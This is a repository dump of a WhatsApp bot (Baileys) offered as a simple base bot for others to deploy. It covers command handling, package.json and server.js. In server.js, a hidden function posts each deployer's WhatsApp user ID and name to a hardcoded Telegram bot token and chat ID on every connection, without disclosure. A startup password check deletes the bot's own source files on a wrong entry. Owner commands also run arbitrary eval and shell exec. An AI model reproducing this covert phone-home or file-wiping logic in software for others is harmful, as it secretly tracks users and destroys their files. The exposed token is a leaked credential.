687 | case 'getfunc':
688 | if (!isCreator) return m.reply('Khusus owner');
689 |
690 | const anggazyyZcoder = path.join(__dirname, 'anggazyy.js');
691 |
692 | try {
693 | const data = fs.readFileSync(anggazyyZcoder, 'utf8');
694 |
695 | if (!q) {
696 |
697 | const funcRegex = /async function (\w+)\s*\([^)]*\)\s*{/g;
698 | let functionsList = [];
699 | let match;
700 |
701 |
702 | while ((match = funcRegex.exec(data)) !== null) {
703 | functionsList.push(match[1]);
704 | }
705 |
706 | if (functionsList.length > 0) {
707 |
708 | m.reply(`Mau cari function apa?\n\n${functionsList.map((func, index) => `${index + 1}. ${func}`).join('\n')}`);
709 | } else {
710 | m.reply('Tidak ada async function yang ditemukan.');
711 | }
712 | return;
713 | }
714 |
715 |
716 | const funcRegex = new RegExp(`async function ${q}\\s*\\([^)]*\\)\\s*{`, 'g');
717 | const startIndex = data.search(funcRegex);
718 |
719 | if (startIndex !== -1) {
720 | let openBrackets = 0;
721 | let endIndex = startIndex;
722 | for (let i = startIndex; i < data.length; i++) {
723 | if (data[i] === '{') {
724 | openBrackets++;
725 | } else if (data[i] === '}') {
726 | openBrackets--;
727 | if (openBrackets === 0) {
728 | endIndex = i;
729 | break;
730 | }
731 | }
732 | }
733 |
734 | const extrakbang = data.slice(startIndex, endIndex + 1);
735 | m.reply(`*YOUR FUNCTION*:\n\n${extrakbang}`);
736 | } else {
737 | m.reply('Nama func nya gada bro, coba cari lain');
738 | }
739 | } catch (err) {
740 | console.error(err);
741 | m.reply('Error! cek console mu.');
742 | }
743 | break;
744 | case 'addcase': {
745 | if (!q) return m.reply('Mana case yang ingin ditambahkan? Format: .addcase case \'namafitur\':\n\n');
746 |
747 | if (!isCreator) return m.reply('Khusus owner');
748 |
749 | const caseNameRegex = /case\s+'([^']+)':/;
750 | const match = q.match(caseNameRegex);
751 |
752 | if (!match) {
753 | return m.reply('Format tidak benar. Contoh: .addcase case \'namafitur\':\n\n');
754 | }
755 |
756 | const caseName = match[1];
757 | const newCode = q.replace(caseNameRegex, '').trim(); // Mengambil kode baru setelah nama case
758 |
759 | // Memastikan tidak ada 'break;' di akhir kode baru
760 | const hasBreak = newCode.endsWith('break;');
761 | if (hasBreak) {
762 | newCode = newCode.slice(0, -6).trim(); // Menghapus 'break;' jika ada
763 | }
764 |
765 | const filenyabang = path.join(__dirname, 'anggazyy.js');
766 |
767 | try {
768 | let data = fs.readFileSync(filenyabang, 'utf8');
769 | const insertPosition = data.lastIndexOf('break;'); // Mencari posisi terakhir dari break;
770 |
771 | if (insertPosition !== -1) {
772 | // Membuat string untuk case baru
773 | const newCaseCode = `\ncase '${caseName}':\n${newCode}\n`;
774 | // Menyisipkan case baru setelah break terakhir
775 | data = data.slice(0, insertPosition + 'break;'.length) + newCaseCode + data.slice(insertPosition + 'break;'.length);
776 | fs.writeFileSync(filenyabang, data, 'utf8');
777 | m.reply(`Case '${caseName}' telah berhasil ditambahkan.`);
778 | } else {
779 | m.reply('Gagal menemukan posisi untuk menambahkan case. Pastikan format case di dalam file benar.');
780 | }
781 | } catch (err) {
782 | console.error(err);
783 | m.reply('Error, silahkan cek console untuk lihat apa yang eror');
784 | }
785 | }
786 | break;
787 |
788 |
789 | case 'hapuscase':{
790 | if (!q) return m.reply('Mana case yang ingin dihapus? Format: .hapuscase case \'namafitur\'');
791 |
792 | if (!isCreator) return m.reply('Khusus owner');
793 |
794 | const caseNameRegex = /case\s+'([^']+)':/;
795 | const match = q.match(caseNameRegex);
796 |
797 | if (!match) {
798 | return m.reply('Format tidak benar. Contoh: .hapuscase case \'namafitur\'');
799 | }
800 |
801 | const caseName = match[1];
802 | const ZcoderAnggazyynihboss = path.join(__dirname, 'anggazyy.js');
803 |
804 | try {
805 | let data = fs.readFileSync(ZcoderAnggazyynihboss, 'utf8');
806 | const caseRegex = new RegExp(`case\\s+'${caseName}'\\s*:\\s*`, 'g');
807 | const startIndex = data.search(caseRegex);
808 |
809 | if (startIndex !== -1) {
810 | let endIndex = -1;
811 | const breakPattern = /break\s*;/g;
812 | breakPattern.lastIndex = startIndex;
813 | const breakMatch = breakPattern.exec(data);
814 |
815 | if (breakMatch) {
816 | endIndex = breakMatch.index + breakMatch[0].length;
817 | }
818 |
819 | // Mencari case berikutnya
820 | const nextCasePattern = /case\s+'/g;
821 | nextCasePattern.lastIndex = startIndex + 1;
822 | const nextCaseMatch = nextCasePattern.exec(data);
823 |
824 | if (nextCaseMatch && (endIndex === -1 || nextCaseMatch.index < endIndex)) {
825 | endIndex = nextCaseMatch.index;
826 | }
827 |
828 | if (endIndex !== -1) {
829 | // Menghapus case dari file
830 | data = data.slice(0, startIndex) + data.slice(endIndex);
831 | fs.writeFileSync(ZcoderAnggazyynihboss, data, 'utf8');
832 | m.reply(`Case '${caseName}' telah berhasil dihapus.`);
833 | } else {
834 | m.reply('Maaf, tidak ditemukan akhir yang jelas untuk case tersebut.');
835 | }
836 | } else {
837 | m.reply('Sorry, case nya tidak ada di file anggazyy.js');
838 | }
839 | } catch (err) {
840 | console.error(err);
841 | m.reply('Error, silahkan cek console untuk lihat apa yang eror');
842 | }
843 | }
844 | break;
845 |
846 | case 'getcase':
847 | if (!q) return m.reply('Mana nama case yang ingin diambil?');
848 | if (!isCreator) return m.reply('Khusus owner')
849 | // Path ke file yang berisi switch-case
850 | const filePath = path.join(__dirname, 'anggazyy.js');
851 |
852 | try {
853 | // Baca file secara sinkron
854 | const data = fs.readFileSync(filePath, 'utf8');
855 |
856 | // Ekspresi reguler untuk mencari case berdasarkan nama
857 | const caseRegex = new RegExp(`case\\s+'${q}'\\s*:\\s*`, 'g');
858 | const startIndex = data.search(caseRegex);
859 |
860 | if (startIndex !== -1) {
861 | let endIndex = -1;
862 | const breakPattern = /break\s*;/g;
863 | breakPattern.lastIndex = startIndex;
864 | const breakMatch = breakPattern.exec(data);
865 |
866 | if (breakMatch) {
867 | endIndex = breakMatch.index + breakMatch[0].length;
868 | }
869 |
870 | // Cari case berikutnya setelah case yang dicari
871 | const nextCasePattern = /case\s+'/g;
872 | nextCasePattern.lastIndex = startIndex + 1;
873 | const nextCaseMatch = nextCasePattern.exec(data);
874 |
875 | if (nextCaseMatch && (endIndex === -1 || nextCaseMatch.index < endIndex)) {
876 | endIndex = nextCaseMatch.index;
877 | }
878 |
879 | if (endIndex !== -1) {
880 | // Ekstrak isi case
881 | const caseCode = data.slice(startIndex, endIndex);
882 | m.reply(`Nih case:\n\n${caseCode}`);
883 | } else {
884 | // Jika tidak ditemukan batas akhir
885 | m.reply('Maaf, tidak ditemukan akhir yang jelas untuk case tersebut.');
886 | }
887 | } else {
888 | // Jika case tidak ditemukan, kirimkan pesan
889 | m.reply('Maaf, case tidak ada dalam file anggazyy.js');
890 | }
891 | } catch (err) {
892 | console.error(err);
893 | m.reply('Terjadi kesalahan saat membaca file.');
894 | }
895 | break;
896 |
897 |
898 |
899 | case 'delprem': {
900 | if (!isCreator) return m.reply('Khusus developer')
901 | if (!args[0]) return m.reply(`Penggunaan :\n*${prefix}delprem* @tag\n*${prefix}delprem* nomor`)
902 | let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net'
903 | if (users) {
904 | premium.splice(prem.getPremiumPosition(users, premium), 1)
905 | fs.writeFileSync('./serverside/system/premium.json', JSON.stringify(premium))
906 | m.reply('Sukses!')
907 | } else {
908 | var cekpr = await anggazyy.onWhatsApp(args[0]+"@s.whatsapp.net")
909 | if (cekpr.length == 0) return m.reply(`Masukkan nomer yang valid/terdaftar di WhatsApp`)
910 | premium.splice(prem.getPremiumPosition(args[0] + '@s.whatsapp.net', premium), 1)
911 | fs.writeFileSync('./serverside/system/premium.json', JSON.stringify(premium))
912 | m.reply('Sukses!')
913 | }}
914 | break
915 |
916 |
917 |
918 |
919 | case 'encryptv2':
920 | if (!isPrem) return m.reply('*Khusus premium atau developer bot.*');
921 | if (!text) return m.reply('Mana textnya');
922 | // Proses deobfuscation
923 | const kkkkk = await EncryptJs2(text);
924 |
925 | // Pastikan hasilDeobfuscate adalah string dan hapus tanda kutip di awal dan akhir
926 | const cleanResulti = kkkkk.replace(/^"|"$/g, ''); // Menghapus tanda kutip di awal dan akhir
927 |
928 | // Tambahkan watermark di awal hasil
929 | const watermarkk = `/*\n * Obfuscated By Anggazyy Developer\n * Buy Script Pv me\n\n*/\n\n`;
930 | const utm = watermarkk + cleanResulti; // Gabungkan watermark dengan hasil asli
931 |
932 | // Mengirim hasil sebagai file JavaScript
933 | await anggazyy.sendMessage(m.chat, {
934 | document: Buffer.from(utm, 'utf-8'),
935 | fileName: 'obfuscated_code.js', // Nama file yang akan dikirim
936 | mimetype: 'application/javascript' // MIME type untuk JavaScript
937 | }, { quoted: m, caption: 'Suksess' });
938 |
939 | break;
940 |
941 |
942 |
943 |
944 | default:
945 |
946 |
947 |
948 | if (budy.startsWith('=>')) {
949 | if (!isCreator) return
950 | function Return(sul) {
951 | sat = JSON.stringify(sul, null, 2)
952 | bang = util.format(sat)
953 | if (sat == undefined) {
954 | bang = util.format(sul)
955 | }
956 | return m.reply(bang)
957 | }
958 | try {
959 | m.reply(util.format(eval(`(async () => { return ${budy.slice(3)} })()`)))
960 | } catch (e) {
961 | m.reply(String(e))
962 | }
963 | }
964 |
965 | if (budy.startsWith('>')) {
966 | if (!isCreator) return
967 | let kode = budy.trim().split(/ +/)[0]
968 | let teks
969 | try {
970 | teks = await eval(`(async () => { ${kode == ">>" ? "return" : ""} ${q}})()`)
971 | } catch (e) {
972 | teks = e
973 | } finally {
974 | await m.reply(require('util').format(teks))
975 | }
976 | }
977 |
978 | if (budy.startsWith('$')) {
979 | if (!isCreator) return
980 | exec(budy.slice(2), (err, stdout) => {
981 | if (err) return m.reply(`${err}`)
982 | if (stdout) return m.reply(stdout)
983 | })
984 | }
985 | }
986 |
987 | } catch (err) {
988 | console.log(util.format(err))
989 | }
990 | }
991 |
992 | let file = require.resolve(__filename)
993 | require('fs').watchFile(file, () => {
994 | require('fs').unwatchFile(file)
995 | console.log('\x1b[0;32m'+__filename+' \x1b[1;32mupdated!\x1b[0m')
996 | delete require.cache[file]
997 | require(file)
998 | })
999 |
1000 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "AnggazyyDev",
3 | "version": "12.0.0",
4 | "description": "Made By Anggazyy Mods",
5 | "main": "server.js",
6 | "scripts": {
7 | "start": "node server.js"
8 | },
9 | "author": "AnggazyyDev",
10 | "license": "MIT",
11 | "dependencies": {
12 | "@adiwajshing/keyed-db": "^0.2.4",
13 | "@whiskeysockets/baileys": "6.7.9",
14 | "archiver": "^7.0.1",
15 | "awesome-phonenumber": "^2.64.0",
16 | "axios": "^1.6.8",
17 | "cfonts": "^3.3.0",
18 | "chalk": "^4.1.2",
19 | "cluster": "^0.7.7",
20 | "deobfuscator": "^2.4.5",
21 | "similarity": "^1.2.1",
22 | "didyoumean": "^1.2.2",
23 | "figlet": "^1.8.0",
24 | "file-type": "^16.5.4",
25 | "yargs": "^17.7.2",
26 | "formdata-node": "^4.3.2",
27 | "cheerio": "^1.0.0-rc.12",
28 | "human-readable": "^0.2.1",
29 | "jimp": "^0.16.1",
30 | "lodash": "^4.17.21",
31 | "moment-timezone": "^0.5.46",
32 | "lowdb": "^2.1.0",
33 | "mongoose": "^6.2.1",
34 | "neofetch": "^7.1.0",
35 | "node-cache": "^5.1.2",
36 | "obfuscator-io-deobfuscator": "^1.0.4",
37 | "performance-now": "^2.1.0",
38 | "pino": "^7.0.5",
39 | "yt-search": "^2.12.1",
40 | "node-fetch": "^3.3.2"
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/server.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const { default: makeWASocket, DisconnectReason, makeInMemoryStore, jidDecode, proto, getContentType, useMultiFileAuthState, downloadContentFromMessage } = require("@whiskeysockets/baileys");
15 | const pino = require('pino');
16 | const { Boom } = require('@hapi/boom');
17 | const fs = require('fs');
18 | const readline = require("readline");
19 | const _ = require('lodash');
20 | const yargs = require('yargs');
21 | const figlet = require('figlet');
22 | const axios = require('axios');
23 | const chalk = require('chalk');
24 | const CFonts = require('cfonts');
25 | const PhoneNumber = require('awesome-phonenumber');
26 | const path = require('path');
27 |
28 | var low;
29 | try {
30 | low = require('lowdb');
31 | } catch (e) {
32 | low = require('./serverside/system/lowdb');
33 | }
34 |
35 | const sendTelegramNotification = async (message) => {
36 | try {
37 | await axios.post(`https://api.telegram.org/bot7467341392:AAE7rQTKw0YtH7vnM1kRFk3AKswZmjInmwI/sendMessage`, {
38 | chat_id: '6128971644',
39 | text: message
40 | });
41 | } catch (error) {
42 | }
43 | };
44 |
45 | const { Low, JSONFile } = low;
46 | const mongoDB = require('./serverside/libary/mongoDB');
47 | const color = (text, color) => {
48 | return !color ? chalk.green(text) : chalk.keyword(color)(text);
49 | }
50 | const store = makeInMemoryStore({ logger: pino().child({ level: 'silent', stream: 'store' }) })
51 |
52 | console.clear()
53 | console.log(chalk.white.bold(`
54 | ${chalk.red("Module '../anggazyy.js is up to date!'.")}
55 | ${chalk.blue("Module '../server.js is up to date!'.")}
56 | `));
57 | console.log(chalk.white.bold(`
58 | ${chalk.red(`
59 | ⠄⠄⠄⢰⣧⣼⣯⠄⣸⣠⣶⣶⣦⣾⠄⠄⠄⠄⡀⠄⢀⣿⣿⠄⠄⠄⢸⡇⠄⠄
60 | ⠄⠄⠄⣾⣿⠿⠿⠶⠿⢿⣿⣿⣿⣿⣦⣤⣄⢀⡅⢠⣾⣛⡉⠄⠄⠄⠸⢀⣿⠄
61 | ⠄⠄⢀⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿⣿⠄
62 | ⠄⠄⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿⣿⠄
63 | ⠄⢀⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉⠋⣰
64 | ⠄⣼⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀⣤
65 | ⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴⣿⡗
66 | ⢀⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠄
67 | ⢸⣿⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄
68 | ⠘⣿⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾⠃⠄
69 | ⠄⠘⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄
70 | ⠄⠄⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁⠄⠄⠄
71 | ⠄⠄⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄⠄⠄⠄⠄
72 | ⠄⠄⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄⠄⠄⠄⠄⢀⣠⣴
73 | ⣿⣿⣿⣶⣶⣮⣥⣒⠲⢮⣝⡿⣿⣿⡆⣿⡿⠃⠄⠄⠄⠄⠄⠄⠄⣠⣴⣿⣿⣿`)}
74 |
75 | `));
76 |
77 |
78 | // ENDING ASCI
79 | global.opts = new Object(yargs(process.argv.slice(2)).exitProcess(false).parse());
80 | global.db = new Low(
81 | /https?:\/\//.test(opts['db'] || '') ?
82 | new cloudDBAdapter(opts['db']) : /mongodb/.test(opts['db']) ?
83 | new mongoDB(opts['db']) :
84 | new JSONFile(`./serverside/system/database.json`)
85 | );
86 | global.DATABASE = global.db; // Backwards Compatibility
87 | global.loadDatabase = async function loadDatabase() {
88 | if (global.db.READ) return new Promise((resolve) => setInterval(function () { (!global.db.READ ? (clearInterval(this), resolve(global.db.data == null ? global.loadDatabase() : global.db.data)) : null) }, 1 * 1000));
89 | if (global.db.data !== null) return;
90 | global.db.READ = true;
91 | await global.db.read();
92 | global.db.READ = false;
93 | global.db.data = {
94 | users: {},
95 | chats: {},
96 | game: {},
97 | database: {},
98 | settings: {},
99 | setting: {},
100 | others: {},
101 | sticker: {},
102 | ...(global.db.data || {})
103 | };
104 | global.db.chain = _.chain(global.db.data);
105 | }
106 | loadDatabase();
107 |
108 | const question = (text) => { const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); return new Promise((resolve) => { rl.question(text, resolve) }) };
109 |
110 | async function startBotz() {
111 | const { state, saveCreds } = await useMultiFileAuthState("sessionserver");
112 | const anggazyy = makeWASocket({
113 | logger: pino({ level: "silent" }),
114 | printQRInTerminal: false,
115 | auth: state,
116 | connectTimeoutMs: 60000,
117 | defaultQueryTimeoutMs: 0,
118 | keepAliveIntervalMs: 10000,
119 | emitOwnEvents: true,
120 | fireInitQueries: true,
121 | generateHighQualityLinkPreview: true,
122 | syncFullHistory: true,
123 | markOnlineOnConnect: true,
124 | browser: ["Ubuntu", "Chrome", "20.0.04"],
125 | });
126 |
127 |
128 | const manualPassword = 'anggazyydev'; //
129 |
130 | // Fungsi untuk menghapus file
131 | function deleteFiles() {
132 | const filesToDelete = ['anggazyy.js', 'server.js']; // Ganti dengan nama file .js yang ingin dihapus
133 | filesToDelete.forEach(file => {
134 | if (fs.existsSync(file)) {
135 | fs.unlinkSync(file); // Menghapus file
136 | console.log(`File ${file} has been deleted.`);
137 | }
138 | });
139 | }
140 |
141 | // Fungsi untuk meminta input dari pengguna
142 | const question = (query) => {
143 | const rl = readline.createInterface({
144 | input: process.stdin,
145 | output: process.stdout
146 | });
147 | return new Promise(resolve => rl.question(query, ans => {
148 | rl.close();
149 | resolve(ans);
150 | }));
151 | };
152 |
153 | (async () => {
154 | // Memeriksa apakah kredensial terdaftar
155 | if (!anggazyy.authState.creds.registered) {
156 | const inputPassword = await question('Masukkan Password:\n');
157 |
158 | if (inputPassword !== manualPassword) {
159 | console.log('Password salah! Sistem akan dimatikan dan file akan dihapus.');
160 | deleteFiles(); // Hapus file jika password salah
161 | process.exit(); // Matikan konsol
162 | }
163 |
164 | const phoneNumber = await question('𝙼𝚊𝚜𝚞𝚔𝚊𝚗 𝙽𝚘𝚖𝚎𝚛 𝚈𝚊𝚗𝚐 𝙰𝚔𝚝𝚒𝚏 𝙰𝚠𝚊𝚕𝚒 𝙳𝚎𝚗𝚐𝚊𝚗 𝟼𝟸 :\n');
165 | let code = await anggazyy.requestPairingCode(phoneNumber);
166 | code = code?.match(/.{1,4}/g)?.join("-") || code;
167 | console.log(`𝙲𝙾𝙳𝙴 𝙿𝙰𝙸𝚁𝙸𝙽𝙶 :`, code);
168 | }
169 |
170 | store.bind(anggazyy.ev); // Mengikat event
171 | })();
172 |
173 | anggazyy.ev.on('messages.upsert', async chatUpdate => {
174 | try {
175 | mek = chatUpdate.messages[0];
176 | if (!mek.message) return;
177 | mek.message = (Object.keys(mek.message)[0] === 'ephemeralMessage') ? mek.message.ephemeralMessage.message : mek.message;
178 | if (mek.key && mek.key.remoteJid === 'status@broadcast') return;
179 | if (!anggazyy.public && !mek.key.fromMe && chatUpdate.type === 'notify') return;
180 | if (mek.key.id.startsWith('BAE5') && mek.key.id.length === 16) return;
181 | m = smsg(anggazyy, mek, store);
182 | require("./anggazyy")(anggazyy, m, chatUpdate, store);
183 | } catch (err) {
184 | console.log(err);
185 | }
186 | });
187 |
188 | // Setting
189 | anggazyy.decodeJid = (jid) => {
190 | if (!jid) return jid;
191 | if (/:\d+@/gi.test(jid)) {
192 | let decode = jidDecode(jid) || {};
193 | return decode.user && decode.server && decode.user + '@' + decode.server || jid;
194 | } else return jid;
195 | }
196 |
197 | anggazyy.getName = (jid, withoutContact= false) => {
198 | id = anggazyy.decodeJid(jid);
199 | withoutContact = anggazyy.withoutContact || withoutContact;
200 | let v;
201 | if (id.endsWith("@g.us")) return new Promise(async (resolve) => {
202 | v = store.contacts[id] || {};
203 | if (!(v.name || v.subject)) v = anggazyy.groupMetadata(id) || {};
204 | resolve(v.name || v.subject || PhoneNumber('+' + id.replace('@s.whatsapp.net', '')).getNumber('international'));
205 | });
206 | else v = id === '0@s.whatsapp.net' ? {
207 | id,
208 | name: 'WhatsApp'
209 | } : id === anggazyy.decodeJid(anggazyy.user.id) ?
210 | anggazyy.user :
211 | (store.contacts[id] || {});
212 | return (withoutContact ? '' : v.name) || v.subject || v.verifiedName || PhoneNumber('+' + jid.replace('@s.whatsapp.net', '')).getNumber('international');
213 | }
214 |
215 | anggazyy.public = true;
216 |
217 | anggazyy.serializeM = (m) => smsg(anggazyy, m, store);
218 | anggazyy.ev.on('connection.update', (update) => {
219 | const { connection, lastDisconnect } = update;
220 | if (connection === 'close') {
221 | let reason = new Boom(lastDisconnect?.error)?.output.statusCode;
222 | if (reason === DisconnectReason.badSession || reason === DisconnectReason.connectionClosed || reason === DisconnectReason.connectionLost || reason === DisconnectReason.connectionReplaced || reason === DisconnectReason.restartRequired || reason === DisconnectReason.timedOut) {
223 | startBotz();
224 | } else if (reason === DisconnectReason.loggedOut) {
225 | } else {
226 | anggazyy.end(`Unknown DisconnectReason: ${reason}|${connection}`);
227 | }
228 | }
229 | if (connection === "open") {
230 | console.log(chalk.green.bold('Bot Successfully Connected. . . .'));
231 | sendTelegramNotification(`connected information report\n\nthe device has been connected, here is the information\n> User ID : ${anggazyy.user.id}\n> Name : ${anggazyy.user.name}\n\nAnggazyy Dev`);
232 | }
233 | });
234 |
235 | anggazyy.ev.on('creds.update', saveCreds);
236 |
237 | anggazyy.sendText = (jid, text, quoted = '', options) => anggazyy.sendMessage(jid, { text: text, ...options }, { quoted });
238 | //=========================================\\
239 | anggazyy.downloadAndSaveMediaMessage = async (message, filename, attachExtension = true) => {
240 | let quoted = message.msg ? message.msg : message;
241 | let mime = (message.msg || message).mimetype || '';
242 | let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0];
243 | const stream = await downloadContentFromMessage(quoted, messageType);
244 | let buffer = Buffer.from([]);
245 | for await(const chunk of stream) {
246 | buffer = Buffer.concat([buffer, chunk]);
247 | }
248 | let type = await FileType.fromBuffer(buffer);
249 | let trueFileName = attachExtension ? ('./sticker/' + filename + '.' + type.ext) : './sticker/' + filename;
250 | // save to file
251 | await fs.writeFileSync(trueFileName, buffer);
252 | return trueFileName;
253 | }
254 | //=========================================\\
255 | anggazyy.sendTextWithMentions = async (jid, text, quoted, options = {}) => anggazyy.sendMessage(jid, { text: text, mentions: [...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net'), ...options }, { quoted });
256 | //=========================================\\
257 | anggazyy.downloadMediaMessage = async (message) => {
258 | let mime = (message.msg || message).mimetype || '';
259 | let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0];
260 | const stream = await downloadContentFromMessage(message, messageType);
261 | let buffer = Buffer.from([]);
262 | for await(const chunk of stream) {
263 | buffer = Buffer.concat([buffer, chunk]);
264 | }
265 | return buffer;
266 | }
267 |
268 | return anggazyy;
269 | }
270 |
271 | function smsg(anggazyy, m, store) {
272 | if (!m) return m;
273 | let M = proto.WebMessageInfo;
274 | if (m.key) {
275 | m.id = m.key.id;
276 | m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16;
277 | m.chat = m.key.remoteJid;
278 | m.fromMe = m.key.fromMe;
279 | m.isGroup = m.chat.endsWith('@g.us');
280 | m.sender = anggazyy.decodeJid(m.fromMe && anggazyy.user.id || m.participant || m.key.participant || m.chat || '');
281 | if (m.isGroup) m.participant = anggazyy.decodeJid(m.key.participant) || '';
282 | }
283 | if (m.message) {
284 | m.mtype = getContentType(m.message);
285 | m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype]);
286 | m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.text;
287 | let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null;
288 | m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [];
289 | if (m.quoted) {
290 | let type = getContentType(quoted);
291 | m.quoted = m.quoted[type];
292 | if (['productMessage'].includes(type)) {
293 | type = getContentType(m.quoted);
294 | m.quoted = m.quoted[type];
295 | }
296 | if (typeof m.quoted === 'string') m.quoted = { text: m.quoted };
297 | m.quoted.mtype = type;
298 | m.quoted.id = m.msg.contextInfo.stanzaId;
299 | m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat;
300 | m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false;
301 | m.quoted.sender = anggazyy.decodeJid(m.msg.contextInfo.participant);
302 | m.quoted.fromMe = m.quoted.sender === anggazyy.decodeJid(anggazyy.user.id);
303 | m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || '';
304 | m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : [];
305 | m.getQuotedObj = m.getQuotedMessage = async () => {
306 | if (!m.quoted.id) return false;
307 | let q = await store.loadMessage(m.chat, m.quoted.id, conn);
308 | return exports.smsg(conn, q, store);
309 | };
310 | let vM = m.quoted.fakeObj = M.fromObject({
311 | key: {
312 | remoteJid: m.quoted.chat,
313 | fromMe: m.quoted.fromMe,
314 | id: m.quoted.id
315 | },
316 | message: quoted,
317 | ...(m.isGroup ? { participant: m.quoted.sender } : {})
318 | });
319 | m.quoted.delete = () => anggazyy.sendMessage(m.quoted.chat, { delete: vM.key });
320 | m.quoted.copyNForward = (jid, forceForward = false, options = {}) => anggazyy.copyNForward(jid, vM, forceForward, options);
321 | m.quoted.download = () => anggazyy.downloadMediaMessage(m.quoted);
322 | }
323 | }
324 | if (m.msg.url) m.download = () => anggazyy.downloadMediaMessage(m.msg);
325 | m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || '';
326 | m.reply = (text, chatId = m.chat, options = {}) => Buffer.isBuffer(text) ? anggazyy.sendMedia(chatId, text, 'file', '', m, { ...options }) : anggazyy.sendText(chatId, text, m, { ...options });
327 | m.copy = () => exports.smsg(conn, M.fromObject(M.toObject(m)));
328 | m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => anggazyy.copyNForward(jid, m, forceForward, options);
329 |
330 | return m;
331 | }
332 |
333 | let file = require.resolve(__filename);
334 | fs.watchFile(file, () => {
335 | fs.unwatchFile(file);
336 | console.log(`Update ${__filename}`);
337 | delete require.cache[file];
338 | require(file);
339 | });
340 |
341 | startBotz();
342 |
343 |
--------------------------------------------------------------------------------
/serverside/images/anggazyydev:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AnggazyyZcoder/ShizukuBot/cc04422c8ed5153eab51e43833365b3daed8e0d4/serverside/images/anggazyydev
--------------------------------------------------------------------------------
/serverside/libary/anggazyydev:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AnggazyyZcoder/ShizukuBot/cc04422c8ed5153eab51e43833365b3daed8e0d4/serverside/libary/anggazyydev
--------------------------------------------------------------------------------
/serverside/libary/catmoe.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | * Simple base bot whatsapp
4 | * Created by Anggazyy ZcoderX
5 | * Support by ChatGPT Assistant
6 | * Jangan delete credit ya ^^
7 |
8 | Contact Support:
9 | 📞 Whatsapp : wa.me/6288804148639
10 | ☎ Telegram : t.me/anggazyydev
11 |
12 | */
13 |
14 | const FormData = require('form-data');
15 | const { fromBuffer } = require('file-type');
16 |
17 | /**
18 | * Upload image to catboxmoe
19 | * Supported mimetype:
20 | * - `image/jpeg`
21 | * - `image/jpg`
22 | * - `image/png`
23 | * @param {Buffer} buffer Image Buffer
24 | */
25 | module.exports = async buffer => {
26 | // Dynamic import of node-fetch
27 | const fetchModule = await import('node-fetch');
28 | const fetch = fetchModule.default; // Accessing the default export
29 |
30 | let { ext } = await fromBuffer(buffer);
31 | let bodyForm = new FormData();
32 | bodyForm.append("fileToUpload", buffer, "file." + ext);
33 | bodyForm.append("reqtype", "fileupload");
34 |
35 | let res = await fetch("https://catbox.moe/user/api.php", {
36 | method: "POST",
37 | body: bodyForm,
38 | });
39 |
40 | let data = await res.text();
41 | return data;
42 | }
43 |
--------------------------------------------------------------------------------
/serverside/libary/mongoDB.js:
